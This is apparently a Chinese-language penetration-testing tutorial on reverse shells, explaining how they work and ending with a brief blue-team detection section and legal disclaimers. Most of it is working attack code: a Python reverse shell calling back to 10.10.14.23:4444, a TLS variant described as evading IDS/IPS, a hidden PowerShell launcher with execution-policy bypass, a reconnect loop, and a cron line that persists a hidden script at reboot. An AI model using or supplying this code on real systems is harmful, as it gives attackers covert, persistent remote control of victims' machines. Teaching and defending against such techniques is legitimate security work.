1 反弹 Shell 概念与工作原理
-
正向 Shell:攻方主动连接受害主机并获得交互式命令行。大多受防火墙阻拦。
-
反向/反弹 Shell:受害主机(被控端)主动 拨出 ,连接到攻方监听的端口,绕过内网出口防火墙。
-
通信流程
- 攻方监听
LHOST:LPORT
。 - 受害主机执行脚本,向该地址建 TCP/TLS 连接。
- 将标准输入/输出/错误重定向到 Socket,实现交互。
- 攻方监听
2 环境准备
角色 | 系统 | 工具 |
---|---|---|
攻方 | Kali Linux / Parrot OS | nc / rlwrap nc (可选) |
受害 | 任意装有 Python 3 的 Linux/Windows/macOS | Python 代码 |
Tip:若目标仅内置 Python 2,可用
socket
+os
+pty
写兼容代码,思路完全一致。
3 最小可用 Python 反弹 Shell
#!/usr/bin/env python3
import socket, subprocess, os, sys
def reverse_shell(lhost, lport):
s = socket.socket()
try:
s.connect((lhost, lport))
except Exception as e:
sys.exit(0) # 连接失败静默退出
for fd in (0, 1, 2): # 重定向 stdin/stdout/stderr
os.dup2(s.fileno(), fd)
subprocess.call(["/bin/bash", "-i"])
if __name__ == "__main__":
reverse_shell("10.10.14.23", 4444)
攻方端:
nc -lvnp 4444
4 代码剖析
socket.socket()
—— 默认AF_INET
+SOCK_STREAM
创建 TCP 套接字。connect()
—— 主动向监听端发起三次握手。os.dup2()
—— 将进程文件描述符 0/1/2 指向套接字,实现数据流重定向。subprocess.call(["/bin/bash","-i"])
—— 启动交互式 bash;若在 busybox 系统可替换为/bin/sh
。
5 升级玩法
5.1 TLS 加密通道
避免明文流量被 IDS/IPS 抓包:
import socket, ssl, subprocess, os
def reverse_shell_tls(lhost, lport):
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE # 靶场演练可关闭校验
raw_sock = socket.create_connection((lhost, lport))
s = ctx.wrap_socket(raw_sock, server_hostname=lhost)
for fd in (0,1,2):
os.dup2(s.fileno(), fd)
subprocess.call(["/bin/bash","-i"])
攻方端可用 OpenSSL:
openssl req -x509 -newkey rsa:2048 -nodes -keyout key.pem -out cert.pem -days 1
openssl s_server -quiet -key key.pem -cert cert.pem -port 4433
5.2 跨平台兼容
Windows 缺少 /bin/bash
,可改用 PowerShell:
import subprocess
subprocess.call(["powershell.exe","-NoP","-NonI","-W","Hidden","-Exec","Bypass"])
macOS 使用 /bin/zsh
或 /bin/sh
即可。
5.3 自动重连与持久化
简易重连逻辑(带随机休眠):
import time, random
while True:
try:
reverse_shell("10.10.14.23", 4444)
except:
time.sleep(random.randint(5,15))
持久化示例(Linux cron):
(crontab -l 2>/dev/null; echo "@reboot python3 /tmp/.rs.py &") | crontab -
6 蓝队视角:检测与防御要点
层面 | 措施 |
---|---|
网络 | IDPS 规则:阻断向非常规端口的出站流量;检测 HTTP(s) 流量中的可疑 TLS 指纹与 SNI。 |
主机 | 基线加固:关闭无用解释器,SELinux/AppArmor 限制 dup2 ;开启命令审计。 |
日志 | 集中式日志与异常行为(子进程/反弹连接)告警。 |
IOC | 可疑计划任务、开机项、未知二进制的持久化痕迹。 |
7 结语
本文展示了如何在授权环境下用 Python 快速实现并扩展反弹 Shell。再次提醒:渗透测试务必遵循 PTES、ISO / IEC 27001 等合规流程,提前获取 书面 授权。
如果你想进一步集成 文件下载上传、端口转发、SOCKS 代理 或写成 C2 框架模块,欢迎在评论区交流。
Happy Hacking — with permission.
强烈提醒: 本文所有内容仅供 红队演练、CTF、正规渗透测试或信息安全教学 之用。 严禁 将文中技术用于任何未获授权的系统,否则可能触犯《刑法》第 285 条 “非法侵入计算机信息系统罪” 及相关法规。